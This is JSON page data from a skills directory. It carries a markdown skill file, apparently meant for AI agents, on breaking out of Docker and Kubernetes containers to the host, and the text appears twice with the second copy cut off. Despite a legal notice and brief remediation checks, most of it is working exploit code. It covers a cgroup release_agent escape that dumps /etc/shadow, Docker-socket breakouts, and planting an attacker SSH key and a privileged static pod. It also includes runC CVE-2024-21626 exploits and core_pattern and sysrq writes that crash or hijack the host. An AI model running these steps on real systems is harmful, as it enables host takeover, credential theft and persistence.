[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7D8ACY1TD960Z92F7NT5Y8S":3,"skill-same:01M7D8ACY1TD960Z92F7NT5Y8S":85},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":42,"commitSha":43,"skillDirectory":44,"forksCount":45,"repositoryHtmlUrl":46,"repositoryHomepageUrl":6,"ownerHtmlUrl":47,"ownerBlogUrl":48,"ownerDescription":49,"updatedAt":50,"install":51,"resources":64},"01M7D8ACY1TD960Z92F7NT5Y8S","escaping-containers-to-host",null,"Exploit privileged pods, host mounts, runC CVEs, and exposed Docker sockets to break out of a container and reach the underlying host during authorized container-security assessments.","SaiVatsal\u002FSkills-I-Use","SaiVatsal","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F242597752?v=4","01M7D5YM1T4VXW9203M0GFAHZ1","SaiVatsalPolimera","01M7D5YM2D61ST39XVR2V7B7ZJ",3,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fescaping-containers-to-host\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fescaping-containers-to-host\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: escaping-containers-to-host\ndescription: Exploit privileged pods, host mounts, runC CVEs, and exposed Docker sockets to break out of a container and reach the underlying host during authorized container-security assessments.\ndomain: cybersecurity\nsubdomain: container-security\ntags:\n- container-escape\n- privileged-container\n- runc-cve\n- docker-socket\n- host-mount\n- kubernetes\n- privilege-escalation\n- breakout\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\nmitre_attack:\n- T1611\n---\n# Escaping Containers to Host\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Container breakout grants full host compromise. Only run these techniques against systems you own or have explicit written authorization to test. Unauthorized use is illegal and may violate computer fraud laws.\n\n## Overview\n\nContainer escape (MITRE ATT&CK T1611, Escape to Host) is the act of breaking the isolation boundary between a container and the host operating system, giving an attacker code execution in the host namespace — and, on Kubernetes, frequently a route to the entire node and then the cluster. Containers share the host kernel and rely on namespaces, cgroups, capabilities, seccomp, and LSMs (AppArmor\u002FSELinux) for isolation. When any of these controls are weakened (a `--privileged` container, a mounted Docker socket, a `hostPath` mount of `\u002F`, excess Linux capabilities such as `CAP_SYS_ADMIN`) or when a runtime contains a vulnerability, that boundary collapses.\n\nThis skill covers the four highest-impact, real-world escape primitives observed by Sysdig, Unit 42, and the runC maintainers:\n\n1. **Misconfiguration escapes** — privileged containers, `CAP_SYS_ADMIN`, host PID\u002FIPC\u002FNetwork namespaces, and `hostPath` mounts.\n2. **Exposed Docker socket** (`\u002Fvar\u002Frun\u002Fdocker.sock`) — mounting the daemon socket into a container hands an attacker root on the host via a new privileged container.\n3. **The \"Leaky Vessels\" runC fd leak, CVE-2024-21626** — runC leaks an internal file descriptor (`\u002Fproc\u002Fself\u002Ffd\u002F7`\u002F`8`) referencing the host filesystem before `pivot_root`; setting the container working directory to that fd lands the process on the host. Patched in runC 1.1.12 (containerd 1.6.28\u002F1.7.13, Docker 25.0.2).\n4. **The November 2025 runC procfs write-redirect family — CVE-2025-31133, CVE-2025-52565, CVE-2025-52881** — race\u002Fsymlink abuse of the `\u002Fdev\u002Fnull`, `\u002Fdev\u002Fconsole`, and other bind mounts performed *before* runC applies `maskedPaths`\u002F`readonlyPaths`, allowing read-write access to `\u002Fproc` entries (e.g. `\u002Fproc\u002Fsysrq-trigger`, `core_pattern`) and arbitrary write redirection. Patched in runC 1.2.8, 1.3.3, and 1.4.0-rc.3.\n\nSources: Palo Alto Networks \"Leaky Vessels\" advisory; Sysdig \"New runc vulnerabilities allow container escape\" (2025); opencontainers\u002Frunc security advisories GHSA-cgrx-mc8f-2prm and GHSA-9493-h29p-rfm2; Unit 42 container-escape research.\n\n## When to Use\n\n- During an authorized container or Kubernetes penetration test after obtaining initial code execution inside a container or pod\n- When validating that runtime defenses (Falco, seccomp, AppArmor) detect or block breakout attempts\n- When assessing the blast radius of a compromised microservice\n- When verifying patch levels of runC\u002Fcontainerd\u002FDocker against the CVEs above\n\n## Prerequisites\n\n- Authorization (signed rules of engagement) covering host\u002Fnode compromise\n- A foothold: a shell inside a target container\n- Reconnaissance utilities inside the container or staged in:\n  ```bash\n  # deepce - Docker enumeration and escape\n  git clone https:\u002F\u002Fgithub.com\u002Fstealthcopter\u002Fdeepce.git\n  # amicontained - container introspection (capabilities, seccomp, namespaces)\n  curl -L https:\u002F\u002Fgithub.com\u002Fgenuinetools\u002Famicontained\u002Freleases\u002Fdownload\u002Fv0.4.9\u002Famicontained-linux-amd64 -o amicontained\n  chmod +x amicontained\n  # CDK - zero-dependency K8s\u002Fcontainer pentest toolkit\n  curl -L https:\u002F\u002Fgithub.com\u002Fcdk-team\u002FCDK\u002Freleases\u002Flatest\u002Fdownload\u002Fcdk_linux_amd64 -o cdk\n  chmod +x cdk\n  ```\n- A lab cluster\u002Fhost you are permitted to break out of (e.g., kind, minikube, or a dedicated VM)\n\n## Objectives\n\n- Enumerate the container's privilege posture (capabilities, namespaces, mounts, seccomp)\n- Identify which escape primitive is available\n- Execute a host breakout and prove host-level code execution\n- Capture evidence (host hostname, host `\u002Fetc\u002Fshadow` access, or a host file write)\n- Document the root-cause misconfiguration or vulnerable runtime version for remediation\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tactic |\n|--------------|------|--------|\n| T1611 | Escape to Host | Privilege Escalation |\n| T1610 | Deploy Container | Defense Evasion \u002F Execution |\n| T1613 | Container and Resource Discovery | Discovery |\n| T1068 | Exploitation for Privilege Escalation | Privilege Escalation |\n\n## Workflow\n\n### Step 1: Enumerate the Container Environment\n\nDetermine privilege level, capabilities, namespaces, and mounted host paths.\n\n```bash\n# Quick capability + namespace + seccomp introspection\n.\u002Famicontained\n\n# Are we privileged? CapEff ending in ...ffffffff is \"all caps\"\ngrep CapEff \u002Fproc\u002Fself\u002Fstatus\ncapsh --decode=$(grep CapEff \u002Fproc\u002Fself\u002Fstatus | awk '{print $2}')\n\n# Host filesystem or docker socket mounted in?\nmount | grep -E 'docker.sock|hostPath|\u002Fhost'\nls -la \u002Fvar\u002Frun\u002Fdocker.sock 2>\u002Fdev\u002Fnull\nfindmnt -o TARGET,SOURCE,FSTYPE,OPTIONS\n\n# Sharing host namespaces? (host PID = can see host processes)\nps aux | head        # if you see systemd\u002Fhost pids, hostPID:true\nls -la \u002Fproc\u002F1\u002Froot  # if readable as host root, namespace is shared\n\n# Automated enumeration\n.\u002Fdeepce.sh\n.\u002Fcdk evaluate\n```\n\n### Step 2: Escape via a Privileged Container (cgroup release_agent)\n\nA `--privileged` container (or one with `CAP_SYS_ADMIN`) can mount a cgroup hierarchy and abuse the `release_agent` to run a command on the host when the last process in a cgroup exits.\n\n```bash\n# Confirm we can mount (CAP_SYS_ADMIN present)\n# Create a cgroup mount and enable release_agent notification\nmkdir \u002Ftmp\u002Fcgrp && mount -t cgroup -o rdma cgroup \u002Ftmp\u002Fcgrp 2>\u002Fdev\u002Fnull || \\\n  mount -t cgroup -o memory cgroup \u002Ftmp\u002Fcgrp\nmkdir \u002Ftmp\u002Fcgrp\u002Fx\necho 1 > \u002Ftmp\u002Fcgrp\u002Fx\u002Fnotify_on_release\n\n# Find the container rootfs path on the host\nhost_path=$(sed -n 's\u002F.*\\perdir=\\([^,]*\\).*\u002F\\1\u002Fp' \u002Fetc\u002Fmtab | head -1)\necho \"$host_path\u002Fcmd\" > \u002Ftmp\u002Fcgrp\u002Frelease_agent\n\n# Payload that runs on the HOST\ncat > \u002Fcmd \u003C\u003C'EOF'\n#!\u002Fbin\u002Fsh\nps aux > \u002Foutput\nhostname >> \u002Foutput\ncat \u002Fetc\u002Fshadow >> \u002Foutput\nEOF\nchmod +x \u002Fcmd\n\n# Trigger: spawn and immediately exit a process in the cgroup\nsh -c \"echo \\$\\$ > \u002Ftmp\u002Fcgrp\u002Fx\u002Fcgroup.procs\"\ncat \u002Foutput   # host process list \u002F shadow proves escape\n```\n\n### Step 3: Escape via a Mounted Docker Socket\n\nIf `\u002Fvar\u002Frun\u002Fdocker.sock` is bind-mounted into the container, you control the host Docker daemon and can launch a new container that mounts the host root.\n\n```bash\n# Confirm reachability\ndocker -H unix:\u002F\u002F\u002Fvar\u002Frun\u002Fdocker.sock version 2>\u002Fdev\u002Fnull || \\\n  curl -s --unix-socket \u002Fvar\u002Frun\u002Fdocker.sock http:\u002F\u002Flocalhost\u002Fversion\n\n# Launch a privileged container mounting host \u002F and chroot into it\ndocker -H unix:\u002F\u002F\u002Fvar\u002Frun\u002Fdocker.sock run -it --rm \\\n  --privileged --net=host --pid=host \\\n  -v \u002F:\u002Fhost alpine chroot \u002Fhost sh\n\n# Pure-curl variant (no docker CLI in container):\ncurl -s -XPOST --unix-socket \u002Fvar\u002Frun\u002Fdocker.sock \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"Image\":\"alpine\",\"Cmd\":[\"\u002Fbin\u002Fsh\",\"-c\",\"cat \u002Fhost\u002Fetc\u002Fshadow\"],\n       \"Binds\":[\"\u002F:\u002Fhost\"],\"Privileged\":true}' \\\n  http:\u002F\u002Flocalhost\u002Fcontainers\u002Fcreate?name=esc\ncurl -s -XPOST --unix-socket \u002Fvar\u002Frun\u002Fdocker.sock http:\u002F\u002Flocalhost\u002Fcontainers\u002Fesc\u002Fstart\n```\n\n### Step 4: Escape via a hostPath Mount (Kubernetes)\n\nA pod with a `hostPath` volume of `\u002F` (or a sensitive host dir) lets you read\u002Fwrite host files directly — e.g., drop a root SSH key or a privileged static pod manifest.\n\n```bash\n# If \u002Fhost is the hostPath mount of node root:\nls \u002Fhost\n# Persist: add an attacker key for node root login\nmkdir -p \u002Fhost\u002Froot\u002F.ssh\necho \"ssh-ed25519 AAAA... attacker@kali\" >> \u002Fhost\u002Froot\u002F.ssh\u002Fauthorized_keys\n\n# Or write a privileged static pod manifest that kubelet will auto-run as root\ncat > \u002Fhost\u002Fetc\u002Fkubernetes\u002Fmanifests\u002Fpwn.yaml \u003C\u003C'EOF'\napiVersion: v1\nkind: Pod\nmetadata: {name: pwn, namespace: kube-system}\nspec:\n  hostPID: true\n  containers:\n  - name: pwn\n    image: alpine\n    command: [\"\u002Fbin\u002Fsh\",\"-c\",\"sleep 1d\"]\n    securityContext: {privileged: true}\n    volumeMounts: [{name: host, mountPath: \u002Fhost}]\n  volumes: [{name: host, hostPath: {path: \u002F}}]\nEOF\n```\n\n### Step 5: Exploit runC CVE-2024-21626 (Leaky Vessels fd leak)\n\nIf the runtime is runC \u003C= 1.1.11, the leaked host-cwd fd can be used. With `docker build`\u002F`docker run` control, set the working directory to `\u002Fproc\u002Fself\u002Ffd\u002F\u003CN>` (commonly 7 or 8).\n\n```bash\n# Detect vulnerable runtime version (host or via runc binary in image)\nrunc --version          # vulnerable: 1.0.0-rc93 .. 1.1.11\ndocker info --format '{{.DefaultRuntime}}'\n\n# Proof-of-concept via a malicious image WORKDIR (run-time variant)\ncat > Dockerfile \u003C\u003C'EOF'\nFROM alpine\n# fd 7\u002F8 leaked by runc references the HOST cwd before pivot_root\nWORKDIR \u002Fproc\u002Fself\u002Ffd\u002F8\nRUN [\"\u002Fbin\u002Fsh\",\"-c\",\"cd ..\u002F..\u002F..\u002F..\u002F ; cat etc\u002Fshadow ; cat etc\u002Fhostname\"]\nEOF\ndocker build --no-cache -t leaky .\n\n# Run-time variant: the container lands in a host directory\ndocker run --rm --workdir \u002Fproc\u002Fself\u002Ffd\u002F8 alpine \\\n  sh -c 'cd ..\u002F..\u002F..\u002F.. && cat etc\u002Fshadow'\n# Reference PoC: github.com\u002Fstrikoder\u002Fcve-2024-21626-runc-1.1.11-escape\n```\n\n### Step 6: Exploit the 2025 runC procfs Write-Redirect Family\n\nFor runC \u003C= 1.2.7 \u002F 1.3.2 \u002F 1.4.0-rc.2, CVE-2025-31133\u002F52565\u002F52881 abuse a race between the `\u002Fdev\u002Fnull`\u002F`\u002Fdev\u002Fconsole` bind mount and the application of `maskedPaths`, replacing the mount target with a symlink so a host `\u002Fproc` entry becomes writable. Writing `core_pattern` or `\u002Fproc\u002Fsysrq-trigger` yields host code execution.\n\n```bash\n# Confirm vulnerable runtime\nrunc --version   # vulnerable: \u003C= 1.2.7, 1.3.2, 1.4.0-rc.2\n\n# Conceptual exploitation flow (use maintainers' PoC in a lab):\n#  1. Start a container that, during init, swaps the \u002Fdev\u002Fconsole (or a\n#     custom device) bind-mount target for a symlink to \u002Fproc\u002Fsysrq-trigger.\n#  2. Win the race so runc bind-mounts it read-write before maskedPaths apply.\n#  3. Redirect a write to host procfs:\necho c > \u002Fproc\u002Fsysrq-trigger     # would crash host (DoS) - demonstrates RW\n#  4. For code exec, redirect the write to \u002Fproc\u002Fsys\u002Fkernel\u002Fcore_pattern:\necho '|\u002Fbin\u002Fsh -c \"id>\u002Fhost_pwn\"' > \u002Fproc\u002Fsys\u002Fkernel\u002Fcore_pattern\n#     then trigger a core dump in any host-visible process.\n# Advisories: GHSA-cgrx-mc8f-2prm, GHSA-9493-h29p-rfm2\n```\n\n### Step 7: Validate the Patched State and Document Remediation\n\n```bash\n# Verify runtimes are patched\nrunc --version              # want >= 1.2.8 \u002F 1.3.3 \u002F 1.4.0-rc.3 (and != vuln 1.1.x)\ndocker version --format '{{.Server.Version}}'   # >= 25.0.2 for CVE-2024-21626\ncontainerd --version        # >= 1.6.28 \u002F 1.7.13\n\n# Confirm hardening for misconfig escapes\ndocker inspect \u003Cctr> --format '{{.HostConfig.Privileged}}'   # want false\nkubectl get pod \u003Cpod> -o jsonpath='{.spec.containers[*].securityContext}'\n```\n\n## Tools and Resources\n\n| Tool | Purpose | Source |\n|------|---------|--------|\n| amicontained | Capability\u002Fnamespace\u002Fseccomp introspection | https:\u002F\u002Fgithub.com\u002Fgenuinetools\u002Famicontained |\n| deepce | Docker enumeration & escape automation | https:\u002F\u002Fgithub.com\u002Fstealthcopter\u002Fdeepce |\n| CDK | Container\u002FK8s penetration toolkit | https:\u002F\u002Fgithub.com\u002Fcdk-team\u002FCDK |\n| runc PoC (CVE-2024-21626) | Leaky Vessels reference exploit | https:\u002F\u002Fgithub.com\u002Fstrikoder\u002Fcve-2024-21626-runc-1.1.11-escape |\n| Sysdig runc 2025 advisory | CVE-2025-31133\u002F52565\u002F52881 analysis | https:\u002F\u002Fwww.sysdig.com\u002Fblog\u002Frunc-container-escape-vulnerabilities |\n| Palo Alto Leaky Vessels | CVE-2024-21626 deep dive | https:\u002F\u002Fwww.paloaltonetworks.com\u002Fblog\u002Fcloud-security\u002Fleaky-vessels-vulnerabilities-container-escape\u002F |\n\n## Escape Primitive Reference\n\n| Primitive | Root Cause | Detection Signal |\n|-----------|-----------|------------------|\n| Privileged container | `--privileged` \u002F `CAP_SYS_ADMIN` | `mount` of cgroup, write to `release_agent` |\n| Docker socket mount | `\u002Fvar\u002Frun\u002Fdocker.sock` bind-mounted | Daemon API call from a container |\n| hostPath `\u002F` mount | Pod mounts node root | Write to `\u002Fhost\u002Fetc\u002Fkubernetes\u002Fmanifests` |\n| CVE-2024-21626 | runC fd leak before pivot_root | WORKDIR\u002Fcwd `=\u002Fproc\u002Fself\u002Ffd\u002FN` |\n| CVE-2025-31133\u002F52565\u002F52881 | procfs write redirect via mount race | RW mount of `\u002Fdev\u002Fconsole`, write to `\u002Fproc\u002Fsysrq-trigger` |\n\n## Validation Criteria\n\n- [ ] Container privilege posture enumerated (caps, namespaces, mounts, seccomp)\n- [ ] Available escape primitive correctly identified\n- [ ] Host-level code execution demonstrated (host hostname \u002F `\u002Fetc\u002Fshadow` \u002F host file write captured)\n- [ ] Root-cause misconfiguration or vulnerable runtime version recorded\n- [ ] runC\u002Fcontainerd\u002FDocker versions checked against CVE patch baselines\n- [ ] Remediation guidance (drop privileges, remove socket mount, patch runtime) documented\n- [ ] All actions stayed within the authorized scope\n","# Escaping Containers to Host\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Container breakout grants full host compromise. Only run these techniques against systems you own or have explicit written authorization to test. Unauthorized use is illegal and may violate computer fraud laws.\n\n## Overview\n\nContainer escape (MITRE ATT&CK T1611, Escape to Host) is the act of breaking the isolation boundary between a container and the host operating system, giving an attacker code execution in the host namespace — and, on Kubernetes, frequently a route to the entire node and then the cluster. Containers share the host kernel and rely on namespaces, cgroups, capabilities, seccomp, and LSMs (AppArmor\u002FSELinux) for isolation. When any of these controls are weakened (a `--privileged` container, a mounted Docker socket, a `hostPath` mount of `\u002F`, excess Linux capabilities such as `CAP_SYS_ADMIN`) or when a runtime contains a vulnerability, that boundary collapses.\n\nThis skill covers the four highest-impact, real-world escape primitives observed by Sysdig, Unit 42, and the runC maintainers:\n\n1. **Misconfiguration escapes** — privileged containers, `CAP_SYS_ADMIN`, host PID\u002FIPC\u002FNetwork namespaces, and `hostPath` mounts.\n2. **Exposed Docker socket** (`\u002Fvar\u002Frun\u002Fdocker.sock`) — mounting the daemon socket into a container hands an attacker root on the host via a new privileged container.\n3. **The \"Leaky Vessels\" runC fd leak, CVE-2024-21626** — runC leaks an internal file descriptor (`\u002Fproc\u002Fself\u002Ffd\u002F7`\u002F`8`) referencing the host filesystem before `pivot_root`; setting the container working directory to that fd lands the process on the host. Patched in runC 1.1.12 (containerd 1.6.28\u002F1.7.13, Docker 25.0.2).\n4. **The November 2025 runC procfs write-redirect family — CVE-2025-31133, CVE-2025-52565, CVE-2025-52881** — race\u002Fsymlink abuse of the `\u002Fdev\u002Fnull`, `\u002Fdev\u002Fconsole`, and other bind mounts performed *before* runC applies `maskedPaths`\u002F`readonlyPaths`, allowing read-write access to `\u002Fproc` entries (e.g. `\u002Fproc\u002Fsysrq-trigger`, `core_pattern`) and arbitrary write redirection. Patched in runC 1.2.8, 1.3.3, and 1.4.0-rc.3.\n\nSources: Palo Alto Networks \"Leaky Vessels\" advisory; Sysdig \"New runc vulnerabilities allow container escape\" (2025); opencontainers\u002Frunc security advisories GHSA-cgrx-mc8f-2prm and GHSA-9493-h29p-rfm2; Unit 42 container-escape research.\n\n## When to Use\n\n- During an authorized container or Kubernetes penetration test after obtaining initial code execution inside a container or pod\n- When validating that runtime defenses (Falco, seccomp, AppArmor) detect or block breakout attempts\n- When assessing the blast radius of a compromised microservice\n- When verifying patch levels of runC\u002Fcontainerd\u002FDocker against the CVEs above\n\n## Prerequisites\n\n- Authorization (signed rules of engagement) covering host\u002Fnode compromise\n- A foothold: a shell inside a target container\n- Reconnaissance utilities inside the container or staged in:\n  ```bash\n  # deepce - Docker enumeration and escape\n  git clone https:\u002F\u002Fgithub.com\u002Fstealthcopter\u002Fdeepce.git\n  # amicontained - container introspection (capabilities, seccomp, namespaces)\n  curl -L https:\u002F\u002Fgithub.com\u002Fgenuinetools\u002Famicontained\u002Freleases\u002Fdownload\u002Fv0.4.9\u002Famicontained-linux-amd64 -o amicontained\n  chmod +x amicontained\n  # CDK - zero-dependency K8s\u002Fcontainer pentest toolkit\n  curl -L https:\u002F\u002Fgithub.com\u002Fcdk-team\u002FCDK\u002Freleases\u002Flatest\u002Fdownload\u002Fcdk_linux_amd64 -o cdk\n  chmod +x cdk\n  ```\n- A lab cluster\u002Fhost you are permitted to break out of (e.g., kind, minikube, or a dedicated VM)\n\n## Objectives\n\n- Enumerate the container's privilege posture (capabilities, namespaces, mounts, seccomp)\n- Identify which escape primitive is available\n- Execute a host breakout and prove host-level code execution\n- Capture evidence (host hostname, host `\u002Fetc\u002Fshadow` access, or a host file write)\n- Document the root-cause misconfiguration or vulnerable runtime version for remediation\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tactic |\n|--------------|------|--------|\n| T1611 | Escape to Host | Privilege Escalation |\n| T1610 | Deploy Container | Defense Evasion \u002F Execution |\n| T1613 | Container and Resource Discovery | Discovery |\n| T1068 | Exploitation for Privilege Escalation | Privilege Escalation |\n\n## Workflow\n\n### Step 1: Enumerate the Container Environment\n\nDetermine privilege level, capabilities, namespaces, and mounted host paths.\n\n```bash\n# Quick capability + namespace + seccomp introspection\n.\u002Famicontained\n\n# Are we privileged? CapEff ending in ...ffffffff is \"all caps\"\ngrep CapEff \u002Fproc\u002Fself\u002Fstatus\ncapsh --decode=$(grep CapEff \u002Fproc\u002Fself\u002Fstatus | awk '{print $2}')\n\n# Host filesystem or docker socket mounted in?\nmount | grep -E 'docker.sock|hostPath|\u002Fhost'\nls -la \u002Fvar\u002Frun\u002Fdocker.sock 2>\u002Fdev\u002Fnull\nfindmnt -o TARGET,SOURCE,FSTYPE,OPTIONS\n\n# Sharing host namespaces? (host PID = can see host processes)\nps aux | head        # if you see systemd\u002Fhost pids, hostPID:true\nls -la \u002Fproc\u002F1\u002Froot  # if readable as host root, namespace is shared\n\n# Automated enumeration\n.\u002Fdeepce.sh\n.\u002Fcdk evaluate\n```\n\n### Step 2: Escape via a Privileged Container (cgroup release_agent)\n\nA `--privileged` container (or one with `CAP_SYS_ADMIN`) can mount a cgroup hierarchy and abuse the `release_agent` to run a command on the host when the last process in a cgroup exits.\n\n```bash\n# Confirm we can mount (CAP_SYS_ADMIN present)\n# Create a cgroup mount and enable release_agent notification\nmkdir \u002Ftmp\u002Fcgrp && mount -t cgroup -o rdma cgroup \u002Ftmp\u002Fcgrp 2>\u002Fdev\u002Fnull || \\\n  mount -t cgroup -o memory cgroup \u002Ftmp\u002Fcgrp\nmkdir \u002Ftmp\u002Fcgrp\u002Fx\necho 1 > \u002Ftmp\u002Fcgrp\u002Fx\u002Fnotify_on_release\n\n# Find the container rootfs path on the host\nhost_path=$(sed -n 's\u002F.*\\perdir=\\([^,]*\\).*\u002F\\1\u002Fp' \u002Fetc\u002Fmtab | head -1)\necho \"$host_path\u002Fcmd\" > \u002Ftmp\u002Fcgrp\u002Frelease_agent\n\n# Payload that runs on the HOST\ncat > \u002Fcmd \u003C\u003C'EOF'\n#!\u002Fbin\u002Fsh\nps aux > \u002Foutput\nhostname >> \u002Foutput\ncat \u002Fetc\u002Fshadow >> \u002Foutput\nEOF\nchmod +x \u002Fcmd\n\n# Trigger: spawn and immediately exit a process in the cgroup\nsh -c \"echo \\$\\$ > \u002Ftmp\u002Fcgrp\u002Fx\u002Fcgroup.procs\"\ncat \u002Foutput   # host process list \u002F shadow proves escape\n```\n\n### Step 3: Escape via a Mounted Docker Socket\n\nIf `\u002Fvar\u002Frun\u002Fdocker.sock` is bind-mounted into the container, you control the host Docker daemon and can launch a new container that mounts the host root.\n\n```bash\n# Confirm reachability\ndocker -H unix:\u002F\u002F\u002Fvar\u002Frun\u002Fdocker.sock version 2>\u002Fdev\u002Fnull || \\\n  curl -s --unix-socket \u002Fvar\u002Frun\u002Fdocker.sock http:\u002F\u002Flocalhost\u002Fversion\n\n# Launch a privileged container mounting host \u002F and chroot into it\ndocker -H unix:\u002F\u002F\u002Fvar\u002Frun\u002Fdocker.sock run -it --rm \\\n  --privileged --net=host --pid=host \\\n  -v \u002F:\u002Fhost alpine chroot \u002Fhost sh\n\n# Pure-curl variant (no docker CLI in container):\ncurl -s -XPOST --unix-socket \u002Fvar\u002Frun\u002Fdocker.sock \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"Image\":\"alpine\",\"Cmd\":[\"\u002Fbin\u002Fsh\",\"-c\",\"cat \u002Fhost\u002Fetc\u002Fshadow\"],\n       \"Binds\":[\"\u002F:\u002Fhost\"],\"Privileged\":true}' \\\n  http:\u002F\u002Flocalhost\u002Fcontainers\u002Fcreate?name=esc\ncurl -s -XPOST --unix-socket \u002Fvar\u002Frun\u002Fdocker.sock http:\u002F\u002Flocalhost\u002Fcontainers\u002Fesc\u002Fstart\n```\n\n### Step 4: Escape via a hostPath Mount (Kubernetes)\n\nA pod with a `hostPath` volume of `\u002F` (or a sensitive host dir) lets you read\u002Fwrite host files directly — e.g., drop a root SSH key or a privileged static pod manifest.\n\n```bash\n# If \u002Fhost is the hostPath mount of node root:\nls \u002Fhost\n# Persist: add an attacker key for node root login\nmkdir -p \u002Fhost\u002Froot\u002F.ssh\necho \"ssh-ed25519 AAAA... attacker@kali\" >> \u002Fhost\u002Froot\u002F.ssh\u002Fauthorized_keys\n\n# Or write a privileged static pod manifest that kubelet will auto-run as root\ncat > \u002Fhost\u002Fetc\u002Fkubernetes\u002Fmanifests\u002Fpwn.yaml \u003C\u003C'EOF'\napiVersion: v1\nkind: Pod\nmetadata: {name: pwn, namespace: kube-system}\nspec:\n  hostPID: true\n  containers:\n  - name: pwn\n    image: alpine\n    command: [\"\u002Fbin\u002Fsh\",\"-c\",\"sleep 1d\"]\n    securityContext: {privileged: true}\n    volumeMounts: [{name: host, mountPath: \u002Fhost}]\n  volumes: [{name: host, hostPath: {path: \u002F}}]\nEOF\n```\n\n### Step 5: Exploit runC CVE-2024-21626 (Leaky Vessels fd leak)\n\nIf the runtime is runC \u003C= 1.1.11, the leaked host-cwd fd can be used. With `docker build`\u002F`docker run` control, set the working directory to `\u002Fproc\u002Fself\u002Ffd\u002F\u003CN>` (commonly 7 or 8).\n\n```bash\n# Detect vulnerable runtime version (host or via runc binary in image)\nrunc --version          # vulnerable: 1.0.0-rc93 .. 1.1.11\ndocker info --format '{{.DefaultRuntime}}'\n\n# Proof-of-concept via a malicious image WORKDIR (run-time variant)\ncat > Dockerfile \u003C\u003C'EOF'\nFROM alpine\n# fd 7\u002F8 leaked by runc references the HOST cwd before pivot_root\nWORKDIR \u002Fproc\u002Fself\u002Ffd\u002F8\nRUN [\"\u002Fbin\u002Fsh\",\"-c\",\"cd ..\u002F..\u002F..\u002F..\u002F ; cat etc\u002Fshadow ; cat etc\u002Fhostname\"]\nEOF\ndocker build --no-cache -t leaky .\n\n# Run-time variant: the container lands in a host directory\ndocker run --rm --workdir \u002Fproc\u002Fself\u002Ffd\u002F8 alpine \\\n  sh -c 'cd ..\u002F..\u002F..\u002F.. && cat etc\u002Fshadow'\n# Reference PoC: github.com\u002Fstrikoder\u002Fcve-2024-21626-runc-1.1.11-escape\n```\n\n### Step 6: Exploit the 2025 runC procfs Write-Redirect Family\n\nFor runC \u003C= 1.2.7 \u002F 1.3.2 \u002F 1.4.0-rc.2, CVE-2025-31133\u002F52565\u002F52881 abuse a race between the `\u002Fdev\u002Fnull`\u002F`\u002Fdev\u002Fconsole` bind mount and the application of `maskedPaths`, replacing the mount target with a symlink so a host `\u002Fproc` entry becomes writable. Writing `core_pattern` or `\u002Fproc\u002Fsysrq-trigger` yields host code execution.\n\n```bash\n# Confirm vulnerable runtime\nrunc --version   # vulnerable: \u003C= 1.2.7, 1.3.2, 1.4.0-rc.2\n\n# Conceptual exploitation flow (use maintainers' PoC in a lab):\n#  1. Start a container that, during init, swaps the \u002Fdev\u002Fconsole (or a\n#     custom device) bind-mount target for a symlink to \u002Fproc\u002Fsysrq-trigger.\n#  2. Win the race so runc bind-mounts it read-write before maskedPaths apply.\n#  3. Redirect a write to host procfs:\necho c > \u002Fproc\u002Fsysrq-trigger     # would crash host (DoS) - demonstrates RW\n#  4. For code exec, redirect the write to \u002Fproc\u002Fsys\u002Fkernel\u002Fcore_pattern:\necho '|\u002Fbin\u002Fsh -c \"id>\u002Fhost_pwn\"' > \u002Fproc\u002Fsys\u002Fkernel\u002Fcore_pattern\n#     then trigger a core dump in any host-visible process.\n# Advisories: GHSA-cgrx-mc8f-2prm, GHSA-9493-h29p-rfm2\n```\n\n### Step 7: Validate the Patched State and Document Remediation\n\n```bash\n# Verify runtimes are patched\nrunc --version              # want >= 1.2.8 \u002F 1.3.3 \u002F 1.4.0-rc.3 (and != vuln 1.1.x)\ndocker version --format '{{.Server.Version}}'   # >= 25.0.2 for CVE-2024-21626\ncontainerd --version        # >= 1.6.28 \u002F 1.7.13\n\n# Confirm hardening for misconfig escapes\ndocker inspect \u003Cctr> --format '{{.HostConfig.Privileged}}'   # want false\nkubectl get pod \u003Cpod> -o jsonpath='{.spec.containers[*].securityContext}'\n```\n\n## Tools and Resources\n\n| Tool | Purpose | Source |\n|------|---------|--------|\n| amicontained | Capability\u002Fnamespace\u002Fseccomp introspection | https:\u002F\u002Fgithub.com\u002Fgenuinetools\u002Famicontained |\n| deepce | Docker enumeration & escape automation | https:\u002F\u002Fgithub.com\u002Fstealthcopter\u002Fdeepce |\n| CDK | Container\u002FK8s penetration toolkit | https:\u002F\u002Fgithub.com\u002Fcdk-team\u002FCDK |\n| runc PoC (CVE-2024-21626) | Leaky Vessels reference exploit | https:\u002F\u002Fgithub.com\u002Fstrikoder\u002Fcve-2024-21626-runc-1.1.11-escape |\n| Sysdig runc 2025 advisory | CVE-2025-31133\u002F52565\u002F52881 analysis | https:\u002F\u002Fwww.sysdig.com\u002Fblog\u002Frunc-container-escape-vulnerabilities |\n| Palo Alto Leaky Vessels | CVE-2024-21626 deep dive | https:\u002F\u002Fwww.paloaltonetworks.com\u002Fblog\u002Fcloud-security\u002Fleaky-vessels-vulnerabilities-container-escape\u002F |\n\n## Escape Primitive Reference\n\n| Primitive | Root Cause | Detection Signal |\n|-----------|-----------|------------------|\n| Privileged container | `--privileged` 